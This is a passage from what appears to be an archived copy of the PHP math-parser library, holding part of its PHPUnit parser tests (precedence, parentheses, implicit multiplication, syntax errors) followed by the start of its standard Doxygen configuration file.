'-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y+z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y-z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); // First term with unary minus $node = $this->parser->parse("-x+y+z"); $shouldBe = new ExpressionNode( new ExpressionNode($mx, '+', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x+y-z"); $shouldBe = new ExpressionNode( new ExpressionNode($mx, '+', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x-y+z"); $shouldBe = new ExpressionNode( new ExpressionNode($mx, '-', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x-y-z"); $shouldBe = new ExpressionNode( new ExpressionNode($mx, '-', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectPrecedence() { $x = new VariableNode('x'); $y = new VariableNode('y'); $z = new VariableNode('z'); $node = $this->parser->parse("x+y*z"); $factors = new ExpressionNode($y, '*', $z); $shouldBe = new ExpressionNode($x, '+', $factors); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y+z"); $factors = new ExpressionNode($x, '*', $y); $shouldBe = new ExpressionNode($factors, '+', $z); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseParentheses() { $node = $this->parser->parse("(x)"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("((x))"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)"); $shouldBe = $this->parser->parse("x+1"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x*y)"); $shouldBe = $this->parser->parse("x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x^y)"); $shouldBe = $this->parser->parse("x^y"); $this->assertNodesEqual($node, $shouldBe); } public function testImplicitMultiplication() { $node = $this->parser->parse("2x"); $shouldBe = $this->parser->parse("2*x"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2xy"); $shouldBe = $this->parser->parse("2*x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2"); $shouldBe = $this->parser->parse("2*x^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2y"); $shouldBe = $this->parser->parse("2*x^2*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)2"); $shouldBe = $this->parser->parse("(-x)*2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^2y^2"); $shouldBe = $this->parser->parse("x^2*y^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)(x-1)"); $shouldBe = $this->parser->parse("(x+1)*(x-1)"); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseUnaryOperators() { $node = $this->parser->parse("-x"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', null); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("+x"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x+y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '+', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x*y"); $shouldBe = $this->parser->parse("-(x*y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x^y"); $shouldBe = $this->parser->parse("-(x^y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)^y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '^', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); } public function testSyntaxErrorException() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('1+'); } public function testSyntaxErrorException2() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('**3'); } public function testSyntaxErrorException3() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('-'); } public function testSyntaxErrorException4() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('e^'); } public function testParenthesisMismatchException() { $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('1+1)'); $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('(1+1'); } public function testCanParseUnbalancedParentheses() { $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('1(2'); } public function testCanParseUnbalancedParentheses2() { $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('1)2'); } public function testCanEvaluateNode() { $f = $this->parser->parse('x+y'); $this->assertEquals($f->evaluate(['x' => 1, 'y' => 2]), 3); } public function testParserWithoutImplicitMultiplication() { $lexer = new StdMathLexer(); $tokens = $lexer->tokenize('2x'); $parser = new ParserWithoutImplicitMultiplication(); $this->expectException(SyntaxErrorException::class); $node = $parser->parse($tokens); } public function testNonSimplifyingParser() { $this->parser->setSimplifying(false); $node = $this->parser->parse("3+5"); $shouldBe = new ExpressionNode(new NumberNode(3), '+', new NumberNode(5)); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("3-5"); $shouldBe = new ExpressionNode(new NumberNode(3), '-', new NumberNode(5)); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-3"); $shouldBe = new ExpressionNode(new NumberNode(3), '-', null); $this->assertNodesEqual($node, $shouldBe); } public function canParseFactorial() { $node = $this->parser->parse("3!4!"); $shouldBe = new ExpressionNode( new FunctionNode('!', new NumberNode(3)), '*', new FunctionNode('!', new NumberNode(4))); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-3!"); $shouldBe = new ExpressionNode( new FunctionNode('!', new NumberNode(3)), '-', null); $this->assertNodesEqual($node, $shouldBe); } public function canParseInvalidFactorial() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('!1'); } public function canParseInvalidFactorial2() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('1+!1'); } } modules/formulas/vendor/mossadal/math-parser/doxygen.config000064400000304272147600365160020253 0ustar00# Doxyfile 1.8.6 # This file describes the settings to be used by the documentation system # doxygen (www.doxygen.org) for a project. # # All text after a double hash (##) is considered a comment and is placed in # front of the TAG it is preceding. # # All text after a single hash (#) is considered a comment and will be ignored. # The format is: # TAG = value [value, ...] # For lists, items can also be appended using: # TAG += value [value, ...] # Values that contain spaces should be placed between quotes (\" \"). #--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- # This tag specifies the encoding used for all characters in the config file # that follow. The default is UTF-8 which is also the encoding used for all text # before the first occurrence of this tag. Doxygen uses libiconv (or the iconv # built into libc) for the transcoding. See http://www.gnu.org/software/libiconv # for the list of possible encodings. # The default value is: UTF-8. DOXYFILE_ENCODING = UTF-8 # The PROJECT_NAME tag is a single word (or a sequence of words surrounded by # double-quotes, unless you are using Doxywizard) that should identify the # project for which the documentation is generated. This name is used in the # title of most generated pages and in a few other places. # The default value is: My Project. PROJECT_NAME = "math-parser" # The PROJECT_NUMBER tag can be used to enter a project or revision number. This # could be handy for archiving the generated documentation or if some version # control system is used. PROJECT_NUMBER = # Using the PROJECT_BRIEF tag one can provide an optional one line description # for a project that appears at the top of each page and should give viewer a # quick idea about the purpose of the project. Keep the description short. PROJECT_BRIEF = "PHP parser and evaluator library for mathematical expressions." # With the PROJECT_LOGO tag one can specify an logo or icon that is included in # the documentation. The maximum height of the logo should not exceed 55 pixels # and the maximum width should not exceed 200 pixels. Doxygen will copy the logo # to the output directory. PROJECT_LOGO = # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) path # into which the generated documentation will be written. If a relative path is # entered, it will be relative to the location where doxygen was started. If # left blank the current directory will be used. OUTPUT_DIRECTORY = doc # If the CREATE_SUBDIRS tag is set to YES, then doxygen will create 4096 sub- # directories (in 2 levels) under the output directory of each output format and # will distribute the generated files over these directories. Enabling this # option can be useful when feeding doxygen a huge amount of source files, where # putting all generated files in the same directory would otherwise causes # performance problems for the file system. # The default value is: NO. CREATE_SUBDIRS = NO # The OUTPUT_LANGUAGE tag is used to specify the language in which all # documentation generated by doxygen is written. Doxygen will use this # information to generate all constant output in the proper language. # Possible values are: Afrikaans, Arabic, Armenian, Brazilian, Catalan, Chinese, # Chinese-Traditional, Croatian, Czech, Danish, Dutch, English (United States), # Esperanto, Farsi (Persian), Finnish, French, German, Greek, Hungarian, # Indonesian, Italian, Japanese, Japanese-en (Japanese with English messages), # Korean, Korean-en (Korean with English messages), Latvian, Lithuanian, # Macedonian, Norwegian, Persian (Farsi), Polish, Portuguese, Romanian, Russian, # Serbian, Serbian-Cyrillic, Slovak, Slovene, Spanish, Swedish, Turkish, # Ukrainian and Vietnamese. # The default value is: English. OUTPUT_LANGUAGE = English # If the BRIEF_MEMBER_DESC tag is set to YES doxygen will include brief member # descriptions after the members that are listed in the file and class # documentation (similar to Javadoc). Set to NO to disable this. # The default value is: YES. BRIEF_MEMBER_DESC = YES # If the REPEAT_BRIEF tag is set to YES doxygen will prepend the brief # description of a member or function before the detailed description # # Note: If both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the # brief descriptions will be completely suppressed. # The default value is: YES. REPEAT_BRIEF = YES # This tag implements a quasi-intelligent brief description abbreviator that is # used to form the text in various listings. Each string in this list, if found # as the leading text of the brief description, will be stripped from the text # and the result, after processing the whole list, is used as the annotated # text. Otherwise, the brief description is used as-is. If left blank, the # following values are used ($name is automatically replaced with the name of # the entity):The $name class, The $name widget, The $name file, is, provides, # specifies, contains, represents, a, an and the. ABBREVIATE_BRIEF = # If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then # doxygen will generate a detailed section even if there is only a brief # description. # The default value is: NO. ALWAYS_DETAILED_SEC = NO # If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all # inherited members of a class in the documentation of that class as if those # members were ordinary class members. Constructors, destructors and assignment # operators of the base classes will not be shown. # The default value is: NO. INLINE_INHERITED_MEMB = NO # If the FULL_PATH_NAMES tag is set to YES doxygen will prepend the full path # before files name in the file list and in the header files. If set to NO the # shortest path that makes the file name unique will be used # The default value is: YES. FULL_PATH_NAMES = YES # The STRIP_FROM_PATH tag can be used to strip a user-defined part of the path. # Stripping is only done if one of the specified strings matches the left-hand # part of the path. The tag can be used to show relative paths in the file list. # If left blank the directory from which doxygen is run is used as the path to # strip. # # Note that you can specify absolute paths here, but also relative paths, which # will be relative from the directory where doxygen is started. # This tag requires that the tag FULL_PATH_NAMES is set to YES. STRIP_FROM_PATH = # The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of the # path mentioned in the documentation of a class, which tells the reader which # header file to include in order to use a class. If left blank only the name of # the header file containing the class definition is used. Otherwise one should # specify the list of include paths that are normally passed to the compiler # using the -I flag. STRIP_FROM_INC_PATH = # If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter (but # less readable) file names. This can be useful is your file systems doesn't # support long names like on DOS, Mac, or CD-ROM. # The default value is: NO. SHORT_NAMES = NO # If the JAVADOC_AUTOBRIEF tag is set to YES then doxygen will interpret the # first line (until the first dot) of a Javadoc-style comment as the brief # description. If set to NO, the Javadoc-style will behave just like regular Qt- # style comments (thus requiring an explicit @brief command for a brief # description.) # The default value is: NO. JAVADOC_AUTOBRIEF = YES # If the QT_AUTOBRIEF tag is set to YES then doxygen will interpret the first # line (until the first dot) of a Qt-style comment as the brief description. If # set to NO, the Qt-style will behave just like regular Qt-style comments (thus # requiring an explicit \brief command for a brief description.) # The default value is: NO. QT_AUTOBRIEF = NO # The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make doxygen treat a # multi-line C++ special comment block (i.e. a block of //! or /// comments) as # a brief description. This used to be the default behavior. The new default is # to treat a multi-line C++ comment block as a detailed description. Set this # tag to YES if you prefer the old behavior instead. # # Note that setting this tag to YES also means that rational rose comments are # not recognized any more. # The default value is: NO. MULTILINE_CPP_IS_BRIEF = NO # If the INHERIT_DOCS tag is set to YES then an undocumented member inherits the # documentation from any documented member that it re-implements. # The default value is: YES. INHERIT_DOCS = YES # If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce a # new page for each member. If set to NO, the documentation of a member will be # part of the file/class/namespace that contains it. # The default value is: NO. SEPARATE_MEMBER_PAGES = NO # The TAB_SIZE tag can be used to set the number of spaces in a tab. Doxygen # uses this value to replace tabs by spaces in code fragments. # Minimum value: 1, maximum value: 16, default value: 4. TAB_SIZE = 4 # This tag can be used to specify a number of aliases that act as commands in # the documentation. An alias has the form: # name=value # For example adding # "sideeffect=@par Side Effects:\n" # will allow you to put the command \sideeffect (or @sideeffect) in the # documentation, which will result in a user-defined paragraph with heading # "Side Effects:". You can put \n's in the value part of an alias to insert # newlines. ALIASES = # This tag can be used to specify a number of word-keyword mappings (TCL only). # A mapping has the form "name=value". For example adding "class=itcl::class" # will allow you to use the command class in the itcl::class meaning. TCL_SUBST = # Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources # only. Doxygen will then generate output that is more tailored for C. For # instance, some of the names that are used will be different. The list of all # members will be omitted, etc. # The default value is: NO. OPTIMIZE_OUTPUT_FOR_C = NO # Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java or # Python sources only. Doxygen will then generate output that is more tailored # for that language. For instance, namespaces will be presented as packages, # qualified scopes will look different, etc. # The default value is: NO. OPTIMIZE_OUTPUT_JAVA = NO # Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran # sources. Doxygen will then generate output that is tailored for Fortran. # The default value is: NO. OPTIMIZE_FOR_FORTRAN = NO # Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL # sources. Doxygen will then generate output that is tailored for VHDL. # The default value is: NO. OPTIMIZE_OUTPUT_VHDL = NO # Doxygen selects the parser to use depending on the extension of the files it # parses. With this tag you can assign which parser to use for a given # extension. Doxygen has a built-in mapping, but you can override or extend it # using this tag. The format is ext=language, where ext is a file extension, and # language is one of the parsers supported by doxygen: IDL, Java, Javascript, # C#, C, C++, D, PHP, Objective-C, Python, Fortran, VHDL. For instance to make # doxygen treat .inc files as Fortran files (default is PHP), and .f files as C # (default is Fortran), use: inc=Fortran f=C. # # Note For files without extension you can use no_extension as a placeholder. # # Note that for custom extensions you also need to set FILE_PATTERNS otherwise # the files are not read by doxygen. EXTENSION_MAPPING = # If the MARKDOWN_SUPPORT tag is enabled then doxygen pre-processes all comments # according to the Markdown format, which allows for more readable # documentation. See http://daringfireball.net/projects/markdown/ for details. # The output of markdown processing is further processed by doxygen, so you can # mix doxygen, HTML, and XML commands with Markdown formatting. Disable only in # case of backward compatibilities issues. # The default value is: YES. MARKDOWN_SUPPORT = YES # When enabled doxygen tries to link words that correspond to documented # classes, or namespaces to their corresponding documentation. Such a link can # be prevented in individual cases by by putting a % sign in front of the word # or globally by setting AUTOLINK_SUPPORT to NO. # The default value is: YES. AUTOLINK_SUPPORT = YES # If you use STL classes (i.e. std::string, std::vector, etc.) but do not want # to include (a tag file for) the STL sources as input, then you should set this # tag to YES in order to let doxygen match functions declarations and # definitions whose arguments contain STL classes (e.g. func(std::string); # versus func(std::string) {}). This also make the inheritance and collaboration # diagrams that involve STL classes more complete and accurate. # The default value is: NO. BUILTIN_STL_SUPPORT = NO # If you use Microsoft's C++/CLI language, you should set this option to YES to # enable parsing support. # The default value is: NO. CPP_CLI_SUPPORT = NO # Set the SIP_SUPPORT tag to YES if your project consists of sip (see: # http://www.riverbankcomputing.co.uk/software/sip/intro) sources only. Doxygen # will parse them like normal C++ but will assume all classes use public instead # of private inheritance when no explicit protection keyword is present. # The default value is: NO. SIP_SUPPORT = NO # For Microsoft's IDL there are propget and propput attributes to indicate # getter and setter methods for a property. Setting this option to YES will make # doxygen to replace the get and set methods by a property in the documentation. # This will only work if the methods are indeed getting or setting a simple # type. If this is not the case, or you want to show the methods anyway, you # should set this option to NO. # The default value is: YES. IDL_PROPERTY_SUPPORT = YES # If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC # tag is set to YES, then doxygen will reuse the documentation of the first # member in the group (if any) for the other members of the group. By default # all members of a group must be documented explicitly. # The default value is: NO. DISTRIBUTE_GROUP_DOC = NO # Set the SUBGROUPING tag to YES to allow class member groups of the same type # (for instance a group of public functions) to be put as a subgroup of that # type (e.g. under the Public Functions section). Set it to NO to prevent # subgrouping. Alternatively, this can be done per class using the # \nosubgrouping command. # The default value is: YES. SUBGROUPING = YES # When the INLINE_GROUPED_CLASSES tag is set to YES, classes, structs and unions # are shown inside the group in which they are included (e.g. using \ingroup) # instead of on a separate page (for HTML and Man pages) or section (for LaTeX # and RTF). # # Note that this feature does not work in combination with # SEPARATE_MEMBER_PAGES. # The default value is: NO. INLINE_GROUPED_CLASSES = NO # When the INLINE_SIMPLE_STRUCTS tag is set to YES, structs, classes, and unions # with only public data fields or simple typedef fields will be shown inline in # the documentation of the scope in which they are defined (i.e. file, # namespace, or group documentation), provided this scope is documented. If set # to NO, structs, classes, and unions are shown on a separate page (for HTML and # Man pages) or section (for LaTeX and RTF). # The default value is: NO. INLINE_SIMPLE_STRUCTS = NO # When TYPEDEF_HIDES_STRUCT tag is enabled, a typedef of a struct, union, or # enum is documented as struct, union, or enum with the name of the typedef. So # typedef struct TypeS {} TypeT, will appear in the documentation as a struct # with name TypeT. When disabled the typedef will appear as a member of a file, # namespace, or class. And the struct will be named TypeS. This can typically be # useful for C code in case the coding convention dictates that all compound # types are typedef'ed and only the typedef is referenced, never the tag name. # The default value is: NO. TYPEDEF_HIDES_STRUCT = NO # The size of the symbol lookup cache can be set using LOOKUP_CACHE_SIZE. This # cache is used to resolve symbols given their name and scope. Since this can be # an expensive process and often the same symbol appears multiple times in the # code, doxygen keeps a cache of pre-resolved symbols. If the cache is too small # doxygen will become slower. If the cache is too large, memory is wasted. The # cache size is given by this formula: 2^(16+LOOKUP_CACHE_SIZE). The valid range # is 0..9, the default is 0, corresponding to a cache size of 2^16=65536 # symbols. At the end of a run doxygen will report the cache usage and suggest # the optimal cache size from a speed point of view. # Minimum value: 0, maximum value: 9, default value: 0. LOOKUP_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- # If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in # documentation are documented, even if no documentation was available. Private # class members and static file members will be hidden unless the # EXTRACT_PRIVATE respectively EXTRACT_STATIC tags are set to YES. # Note: This will also disable the warnings about undocumented members that are # normally produced when WARNINGS is set to YES. # The default value is: NO. EXTRACT_ALL = NO # If the EXTRACT_PRIVATE tag is set to YES all private members of a class will # be included in the documentation. # The default value is: NO. EXTRACT_PRIVATE = YES # If the EXTRACT_PACKAGE tag is set to YES all members with package or internal # scope will be included in the documentation. # The default value is: NO. EXTRACT_PACKAGE = NO # If the EXTRACT_STATIC tag is set to YES all static members of a file will be # included in the documentation. # The default value is: NO. EXTRACT_STATIC = NO # If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) defined # locally in source files will be included in the documentation. If set to NO # only classes defined in header files are included. Does not have any effect # for Java sources. # The default value is: YES. EXTRACT_LOCAL_CLASSES = YES # This flag is only useful for Objective-C code. When set to YES local methods, # which are defined in the implementation section but not in the interface are # included in the documentation. If set to NO only methods in the interface are # included. # The default value is: NO. EXTRACT_LOCAL_METHODS = NO # If this flag is set to YES, the members of anonymous namespaces will be # extracted and appear in the documentation as a namespace called # 'anonymous_namespace{file}', where file will be replaced with the base name of # the file that contains the anonymous namespace. By default anonymous namespace # are hidden. # The default value is: NO. EXTRACT_ANON_NSPACES = NO # If the HIDE_UNDOC_MEMBERS tag is set to YES, doxygen will hide all # undocumented members inside documented classes or files. If set to NO these # members will be included in the various overviews, but no documentation # section is generated. This option has no effect if EXTRACT_ALL is enabled. # The default value is: NO. HIDE_UNDOC_MEMBERS = NO # If the HIDE_UNDOC_CLASSES tag is set to YES, doxygen will hide all # undocumented classes that are normally visible in the class hierarchy. If set # to NO these classes will be included in the various overviews. This option has # no effect if EXTRACT_ALL is enabled. # The default value is: NO. HIDE_UNDOC_CLASSES = NO # If the HIDE_FRIEND_COMPOUNDS tag is set to YES, doxygen will hide all friend # (class|struct|union) declarations. If set to NO these declarations will be # included in the documentation. # The default value is: NO. HIDE_FRIEND_COMPOUNDS = NO # If the HIDE_IN_BODY_DOCS tag is set to YES, doxygen will hide any # documentation blocks found inside the body of a function. If set to NO these # blocks will be appended to the function's detailed documentation block. # The default value is: NO. HIDE_IN_BODY_DOCS = NO # The INTERNAL_DOCS tag determines if documentation that is typed after a # \internal command is included. If the tag is set to NO then the documentation # will be excluded. Set it to YES to include the internal documentation. # The default value is: NO. INTERNAL_DOCS = NO # If the CASE_SENSE_NAMES tag is set to NO then doxygen will only generate file # names in lower-case letters. If set to YES upper-case letters are also # allowed. This is useful if you have classes or files whose names only differ # in case and if your file system supports case sensitive file names. Windows # and Mac users are advised to set this option to NO. # The default value is: system dependent. CASE_SENSE_NAMES = YES # If the HIDE_SCOPE_NAMES tag is set to NO then doxygen will show members with # their full class and namespace scopes in the documentation. If set to YES the # scope will be hidden. # The default value is: NO. HIDE_SCOPE_NAMES = NO # If the SHOW_INCLUDE_FILES tag is set to YES then doxygen will put a list of # the files that are included by a file in the documentation of that file. # The default value is: YES. SHOW_INCLUDE_FILES = YES # If the SHOW_GROUPED_MEMB_INC tag is set to YES then Doxygen will add for each # grouped member an include statement to the documentation, telling the reader # which file to include in order to use the member. # The default value is: NO. SHOW_GROUPED_MEMB_INC = NO # If the FORCE_LOCAL_INCLUDES tag is set to YES then doxygen will list include # files with double quotes in the documentation rather than with sharp brackets. # The default value is: NO. FORCE_LOCAL_INCLUDES = NO # If the INLINE_INFO tag is set to YES then a tag [inline] is inserted in the # documentation for inline members. # The default value is: YES. INLINE_INFO = YES # If the SORT_MEMBER_DOCS tag is set to YES then doxygen will sort the # (detailed) documentation of file and class members alphabetically by member # name. If set to NO the members will appear in declaration order. # The default value is: YES. SORT_MEMBER_DOCS = YES # If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the brief # descriptions of file, namespace and class members alphabetically by member # name. If set to NO the members will appear in declaration order. Note that # this will also influence the order of the classes in the class list. # The default value is: NO. SORT_BRIEF_DOCS = NO # If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen will sort the # (brief and detailed) documentation of class members so that constructors and # destructors are listed first. If set to NO the constructors will appear in the # respective orders defined by SORT_BRIEF_DOCS and SORT_MEMBER_DOCS. # Note: If SORT_BRIEF_DOCS is set to NO this option is ignored for sorting brief # member documentation. # Note: If SORT_MEMBER_DOCS is set to NO this option is ignored for sorting # detailed member documentation. # The default value is: NO. SORT_MEMBERS_CTORS_1ST = NO # If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the hierarchy # of group names into alphabetical order. If set to NO the group names will # appear in their defined order. # The default value is: NO. SORT_GROUP_NAMES = NO # If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be sorted by # fully-qualified names, including namespaces. If set to NO, the class list will # be sorted only by class name, not including the namespace part. # Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. # Note: This option applies only to the class list, not to the alphabetical # list. # The default value is: NO. SORT_BY_SCOPE_NAME = NO # If the STRICT_PROTO_MATCHING option is enabled and doxygen fails to do proper # type resolution of all parameters of a function it will reject a match between # the prototype and the implementation of a member function even if there is # only one candidate or it is obvious which candidate to choose by doing a # simple string match. By disabling STRICT_PROTO_MATCHING doxygen will still # accept a match between prototype and implementation in such cases. # The default value is: NO. STRICT_PROTO_MATCHING = NO # The GENERATE_TODOLIST tag can be used to enable ( YES) or disable ( NO) the # todo list. This list is created by putting \todo commands in the # documentation. # The default value is: YES. GENERATE_TODOLIST = YES # The GENERATE_TESTLIST tag can be used to enable ( YES) or disable ( NO) the # test list. This list is created by putting \test commands in the # documentation. # The default value is: YES. GENERATE_TESTLIST = YES # The GENERATE_BUGLIST tag can be used to enable ( YES) or disable ( NO) the bug # list. This list is created by putting \bug commands in the documentation. # The default value is: YES. GENERATE_BUGLIST = YES # The GENERATE_DEPRECATEDLIST tag can be used to enable ( YES) or disable ( NO) # the deprecated list. This list is created by putting \deprecated commands in # the documentation. # The default value is: YES. GENERATE_DEPRECATEDLIST= YES # The ENABLED_SECTIONS tag can be used to enable conditional documentation # sections, marked by \if ... \endif and \cond # ... \endcond blocks. ENABLED_SECTIONS = # The MAX_INITIALIZER_LINES tag determines the maximum number of lines that the # initial value of a variable or macro / define can have for it to appear in the # documentation. If the initializer consists of more lines than specified here # it will be hidden. Use a value of 0 to hide initializers completely. The # appearance of the value of individual variables and macros / defines can be # controlled using \showinitializer or \hideinitializer command in the # documentation regardless of this setting. # Minimum value: 0, maximum value: 10000, default value: 30. MAX_INITIALIZER_LINES = 30 # Set the SHOW_USED_FILES tag to NO to disable the list of files generated at # the bottom of the documentation of classes and structs. If set to YES the list # will mention the files that were used to generate the documentation. # The default value is: YES. SHOW_USED_FILES = YES # Set the SHOW_FILES tag to NO to disable the generation of the Files page. This # will remove the Files entry from the Quick Index and from the Folder Tree View # (if specified). # The default value is: YES. SHOW_FILES = YES # Set the SHOW_NAMESPACES tag to NO to disable the generation of the Namespaces # page. This will remove the Namespaces entry from the Quick Index and from the # Folder Tree View (if specified). # The default value is: YES. SHOW_NAMESPACES = YES # The FILE_VERSION_FILTER tag can be used to specify a program or script that # doxygen should invoke to get the current version for each file (typically from # the version control system). Doxygen will invoke the program by executing (via # popen()) the command command input-file, where command is the value of the # FILE_VERSION_FILTER tag, and input-file is the name of an input file provided # by doxygen. Whatever the program writes to standard output is used as the file # version. For an example see the documentation. FILE_VERSION_FILTER = # The LAYOUT_FILE tag can be used to specify a layout file which will be parsed # by doxygen. The layout file controls the global structure of the generated # output files in an output format independent way. To create the layout file # that represents doxygen's defaults, run doxygen with the -l option. You can # optionally specify a file name after the option, if omitted DoxygenLayout.xml # will be used as the name of the layout file. # # Note that if you run doxygen from a directory containing a file called # DoxygenLayout.xml, doxygen will parse it automatically even if the LAYOUT_FILE # tag is left empty. LAYOUT_FILE = # The CITE_BIB_FILES tag can be used to specify one or more bib files containing # the reference definitions. This must be a list of .bib files. The .bib # extension is automatically appended if omitted. This requires the bibtex tool # to be installed. See also http://en.wikipedia.org/wiki/BibTeX for more info. # For LaTeX the style of the bibliography can be controlled using # LATEX_BIB_STYLE. To use this feature you need bibtex and perl available in the # search path. Do not use file names with spaces, bibtex cannot handle them. See # also \cite for info how to create references. CITE_BIB_FILES = #--------------------------------------------------------------------------- # Configuration options related to warning and progress messages #--------------------------------------------------------------------------- # The QUIET tag can be used to turn on/off the messages that are generated to # standard output by doxygen. If QUIET is set to YES this implies that the # messages are off. # The default value is: NO. QUIET = NO # The WARNINGS tag can be used to turn on/off the warning messages that are # generated to standard error ( stderr) by doxygen. If WARNINGS is set to YES # this implies that the warnings are on. # # Tip: Turn warnings on while writing the documentation. # The default value is: YES. WARNINGS = YES # If the WARN_IF_UNDOCUMENTED tag is set to YES, then doxygen will generate # warnings for undocumented members. If EXTRACT_ALL is set to YES then this flag # will automatically be disabled. # The default value is: YES. WARN_IF_UNDOCUMENTED = YES # If the WARN_IF_DOC_ERROR tag is set to YES, doxygen will generate warnings for # potential errors in the documentation, such as not documenting some parameters # in a documented function, or documenting parameters that don't exist or using # markup commands wrongly. # The default value is: YES. WARN_IF_DOC_ERROR = YES # This WARN_NO_PARAMDOC option can be enabled to get warnings for functions that # are documented, but have no documentation for their parameters or return # value. If set to NO doxygen will only warn about wrong or incomplete parameter # documentation, but not about the absence of documentation. # The default value is: NO. WARN_NO_PARAMDOC = NO # The WARN_FORMAT tag determines the format of the warning messages that doxygen # can produce. The string should contain the $file, $line, and $text tags, which # will be replaced by the file and line number from which the warning originated # and the warning text. Optionally the format may contain $version, which will # be replaced by the version of the file (if it could be obtained via # FILE_VERSION_FILTER) # The default value is: $file:$line: $text. WARN_FORMAT = "$file:$line: $text" # The WARN_LOGFILE tag can be used to specify a file to which warning and error # messages should be written. If left blank the output is written to standard # error (stderr). WARN_LOGFILE = #--------------------------------------------------------------------------- # Configuration options related to the input files #--------------------------------------------------------------------------- # The INPUT tag is used to specify the files and/or directories that contain # documented source files. You may enter file names like myfile.cpp or # directories like /usr/src/myproject. Separate the files or directories with # spaces. # Note: If this tag is empty the current directory is searched. INPUT = doxygen/main.md src # This tag can be used to specify the character encoding of the source files # that doxygen parses. Internally doxygen uses the UTF-8 encoding. Doxygen uses # libiconv (or the iconv built into libc) for the transcoding. See the libiconv # documentation (see: http://www.gnu.org/software/libiconv) for the list of # possible encodings. # The default value is: UTF-8. INPUT_ENCODING = UTF-8 # If the value of the INPUT tag contains directories, you can use the # FILE_PATTERNS tag to specify one or more wildcard patterns (like *.cpp and # *.h) to filter out the source-files in the directories. If left blank the # following patterns are tested:*.c, *.cc, *.cxx, *.cpp, *.c++, *.java, *.ii, # *.ixx, *.ipp, *.i++, *.inl, *.idl, *.ddl, *.odl, *.h, *.hh, *.hxx, *.hpp, # *.h++, *.cs, *.d, *.php, *.php4, *.php5, *.phtml, *.inc, *.m, *.markdown, # *.md, *.mm, *.dox, *.py, *.f90, *.f, *.for, *.tcl, *.vhd, *.vhdl, *.ucf, # *.qsf, *.as and *.js. FILE_PATTERNS = # The RECURSIVE tag can be used to specify whether or not subdirectories should # be searched for input files as 